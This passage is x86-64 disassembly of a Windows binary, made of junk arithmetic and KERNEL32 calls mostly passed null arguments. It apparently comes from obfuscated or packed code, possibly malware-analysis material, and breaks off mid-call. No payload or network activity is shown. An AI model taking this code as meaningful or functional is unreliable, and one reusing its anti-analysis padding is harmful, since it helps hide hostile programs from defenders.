mov dword [rsp + 0x6938], eax
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe7f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0x1cac]
mov word [rsp + 0x272c], ax
lea rcx, str.6PTCx_Eci6_SH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2730], ax
mov rax, qword [rsp + 0xe388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x220c]
or eax, ecx
mov rcx, qword [rsp + 0xe9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe6f0]
mov rax, qword [rax]
mov qword [0x1401c8f20], rax
mov rax, qword [rsp + 0xe710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa158], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
movabs rax, 0x7b6218b970dd0f
mov rcx, qword [rsp + 0xde20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e0], rax
mov rax, qword [rsp + 0xcef0]
mov qword [rsp + 0xea00], rax
mov r9d, 2
lea r8, [rsp + 0xe618]
mov rdx, qword [rsp + 0xea08]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6718], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x2008]
movzx ecx, word [rsp + 0x2170]
shl eax, cl
mov word [rsp + 0x2414], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xdcf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c0]
sar eax, cl
mov byte [rsp + 0x40d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xe9b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6214], eax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xd570]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe5b8]
mov qword [rcx], rax
lea rcx, [rsp + 0x20b48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x425], al
mov r9d, 2
lea r8, [rsp + 0xd8c8]
mov rdx, qword [rsp + 0xe7f0]
mov rcx, qword [rsp + 0xe3b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6864], eax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c8ab0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6548], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xea10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xe7a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23c4]
add eax, ecx
mov word [rsp + 0x850], ax
mov edx, 0x158f
mov rcx, qword [rsp + 0xdf28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x68e0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6a98], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69e8], eax
movsx eax, word [rsp + 0x2274]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cb0], ax
mov rax, qword [0x1401c8c00]
movzx eax, word [rax]
mov word [rsp + 0x2734], ax
mov r9d, 2
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xe2b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6778], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6a9c], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb50], rax
mov rax, qword [rsp + 0xd608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d3]
add eax, ecx
mov byte [rsp + 0x2a9], al
lea rcx, str.YlfHP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2690], ax
movzx ecx, word [rsp + 0x21f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24d8], ax
mov rax, qword [rsp + 0xe538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe050]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdde8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd6e8]
mov ecx, dword [rsp + 0x60f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x64f0], eax
lea rcx, [rsp + 0x1d778]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, word [rsp + 0x2368]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2614], ax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0xea18], rax
lea rdx, [rsp + 0x26648]
mov rcx, qword [rsp + 0xdf78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6aa0], eax
mov rax, qword [0x1401c8df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c7268], ax
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc760], rax
mov rax, qword [0x1401c8e70]
movzx eax, word [rax]
mov word [rsp + 0x2738], ax
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x410]
movzx ecx, byte [rsp + 0x40e]
sar eax, cl
mov rcx, qword [rsp + 0xe000]
mov byte [rcx], al
mov eax, dword [rsp + 0x5ce8]
mov ecx, dword [rsp + 0x5bd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov r9d, 0x177
xor r8d, r8d
lea rdx, [rsp + 0xc5f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
imul rax, qword [rsp + 0xd4d0]
mov qword [rsp + 0xacd8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xde08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x310], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6478], eax
mov rax, qword [rsp + 0xe450]
mov eax, dword [rax]
mov dword [rsp + 0x6aa4], eax
movsx eax, word [0x1401c8e38]
movsx ecx, word [rsp + 0x2578]
shl eax, cl
mov word [rsp + 0x23d0], ax
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce38]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8cfc], ax
lea rax, [rsp + 0xd188]
mov qword [rsp + 0xea20], rax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xd328]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0f8], rax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xe320]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fc8], ax
movzx ecx, word [rsp + 0x2448]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
movzx eax, word [0x1401c7258]
mov word [rsp + 0x273c], ax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xde00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbfa8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6aa8], eax
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65cc], eax
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2740], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x13e]
and eax, ecx
mov byte [rsp + 0x1c1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xe450]
mov ecx, dword [rsp + 0x6154]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x60e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov r9d, 2
lea r8, [rsp + 0xd438]
mov rdx, qword [rsp + 0xea28]
mov rcx, qword [rsp + 0xd380]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x651c], eax
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b0], ax
mov rax, qword [rsp + 0xe648]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9cb8]
shl rax, cl
mov qword [rsp + 0x9b00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0x22d8]
mov word [0x1401c8f28], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64f4], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2744], ax
movzx eax, byte [rsp + 0x3aa]
mov rcx, qword [rsp + 0xe368]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xdb60]
mov byte [rcx], al
mov rax, qword [rsp + 0xdc48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x61b8], eax
lea rcx, [rsp + 0x1d9a8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, 0xf24
mov rcx, qword [rsp + 0xe680]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6950], eax
mov rax, qword [rsp + 0xd560]
mov rcx, qword [rsp + 0xa850]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd68], rax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6aac], eax
mov edx, 0x237a
mov rcx, qword [rsp + 0xe880]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6548], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rcx, [rsp + 0x20b78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68dc], eax
movzx ecx, word [rsp + 0x224c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xe1d0]
mov rax, qword [rax]
imul rax, qword [rsp + 0xd2c0]
mov qword [rsp + 0x9b30], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.LCfmTqFCmf3aJ2qEgPYQi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xea30], rax
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x26728]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x651c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xea38], rax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov dword [rsp + 0x6ab0], eax
movzx ecx, word [rsp + 0x265c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21ec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movsx eax, byte [rsp + 0x165]
movsx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [rsp + 0xdeb8]
mov byte [rcx], al
movzx eax, word [rsp + 0x147c]
mov word [rsp + 0x2748], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xea40], rax
movzx eax, word [rsp + 0x22c4]
movzx ecx, word [rsp + 0x21cc]
sub eax, ecx
mov word [0x1401c8b68], ax
mov rax, qword [rsp + 0x9e48]
mov rcx, qword [rsp + 0xcb18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc80], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6668], eax
movzx eax, word [rsp + 0x1e60]
movzx ecx, word [rsp + 0x1074]
sar eax, cl
mov word [rsp + 0x1a3c], ax
mov rax, qword [0x1401c8b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe828]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd678]
mov word [rcx], ax
mov rax, qword [rsp + 0xd560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdad8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8f0], rax
mov rax, qword [rsp + 0xbdf8]
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0xd598]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6604], eax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0xcd18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x32b], al
movzx eax, word [0x1401c8e8c]
movzx ecx, word [rsp + 0x114c]
xor eax, ecx
mov word [rsp + 0x2210], ax
mov rax, qword [rsp + 0xd488]
mov rcx, qword [rsp + 0xe060]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c7270], rax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdf50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c6], al
mov eax, dword [rsp + 0x677c]
mov dword [rsp + 0x6ab4], eax
movsx eax, word [rsp + 0x1fb4]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2000], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [rsp + 0x1d78]
mov qword [rsp + 0xea50], rax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x274c], ax
mov rax, qword [rsp + 0xcd60]
mov ecx, dword [rsp + 0x59b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65e8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe9a0]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67d0], eax
movsx eax, byte [rsp + 0x3ab]
movsx ecx, byte [0x1401c8a12]
add eax, ecx
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0xe7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6650], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce38]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c71e8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rax, [0x1401c7180]
mov qword [rsp + 0xea58], rax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb210]
sar rax, cl
mov rcx, qword [rsp + 0xdf10]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6ab8], eax
mov rax, qword [0x1401c8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3d8]
mov qword [rsp + 0xea60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd5f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
movzx eax, word [rsp + 0x20d8]
mov word [rsp + 0x2750], ax
mov r9d, 0x2353
xor r8d, r8d
lea rdx, [rsp + 0xe0e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x693c], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xd6b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c78], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda10], rax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x426], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xea68], rax
mov eax, dword [rsp + 0x655c]
mov ecx, dword [0x1401c71d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5810], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69e8], eax
lea rax, [rsp + 0x5ba0]
mov qword [rsp + 0xea70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0xe8a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2cc], al
movzx eax, word [0x1401c8db0]
mov word [0x1401c8f2c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x22ac], ax
lea rax, [rsp + 0x26f4]
mov qword [rsp + 0xea78], rax
mov rax, qword [0x1401c8ec8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd0d0]
shl rax, cl
mov qword [rsp + 0xc700], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx ecx, word [rsp + 0x23a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2754], ax
mov rax, qword [rsp + 0xcfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a84], eax
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd9e8]
mov qword [rsp + 0xea80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbf50], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3d2], al
movzx eax, word [rsp + 0x137c]
mov word [rsp + 0x2758], ax
mov rax, qword [rsp + 0xd1b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xea78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0xea58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc828]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7048], rax
mov rax, qword [rsp + 0xe178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e24]
add eax, ecx
mov word [rsp + 0x1938], ax
lea rcx, [rsp + 0x209f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xe710]
mov rcx, qword [rsp + 0xcfb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb40]
movzx ecx, al
mov rax, qword [rsp + 0x94b8]
shl rax, cl
mov rcx, qword [rsp + 0xd560]
mov qword [rcx], rax
lea rax, [rsp + 0x2b7]
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [0x1401c7008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov eax, dword [rsp + 0x6a60]
mov dword [rsp + 0x6abc], eax
movzx eax, byte [rsp + 0x1d9]
movzx ecx, byte [0x1401c8a16]
sar eax, cl
mov byte [rsp + 0x3e8], al
mov rax, qword [rsp + 0xbdf8]
mov qword [rsp + 0xea90], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xdb20]
movzx eax, word [rax]
mov word [0x1401c8f30], ax
mov rax, qword [rsp + 0xe320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2508]
and eax, ecx
mov word [rsp + 0xf94], ax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x69ec], eax
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xea30]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6ac0], eax
movzx eax, word [0x1401c8bbc]
mov rcx, qword [rsp + 0xd390]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xde40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a5c], ax
lea rcx, [rsp + 0x20608]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x5be8]
mov ecx, dword [rsp + 0x6804]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a20], eax
mov rax, qword [rsp + 0x9750]
mov qword [rsp + 0xea98], rax
movsx eax, byte [rsp + 0x234]
mov rcx, qword [rsp + 0xdd18]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fe], al
mov rax, qword [rsp + 0xd5e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9f0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe6c], ax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cb8]
add rcx, rax
mov rax, rcx
mov qword [0x1401c70d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x69d0], eax
mov rax, qword [rsp + 0xd7e8]
mov rcx, qword [rsp + 0xb680]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d728]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0xeaa0], rax
lea rcx, [rsp + 0x205a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6434], eax
mov rax, qword [rsp + 0xd648]
mov rcx, qword [rsp + 0xdbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b00], rax
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c4]
add eax, ecx
mov word [rsp + 0x1a24], ax
mov eax, dword [rsp + 0x5b5c]
mov dword [rsp + 0x6ac4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x224c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21a4], ax
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe0d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3d4], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
lea rax, [rsp + 0x5ecc]
mov qword [rsp + 0xeaa8], rax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0x409]
shl eax, cl
mov byte [rsp + 0x422], al
lea rax, [rsp + 0xb7f8]
mov qword [0x1401c8f38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6ac8], eax
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401c8d38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe9c0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe670]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe08], ax
movzx eax, word [rsp + 0x2458]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xd968]
mov qword [rsp + 0xeab0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xad30], rax
lea rax, [rsp + 0x3fd]
mov qword [rsp + 0xeab8], rax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd7c8]
mov qword [rsp + 0xeac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeac0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x579c], eax
lea rcx, [rsp + 0x205d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
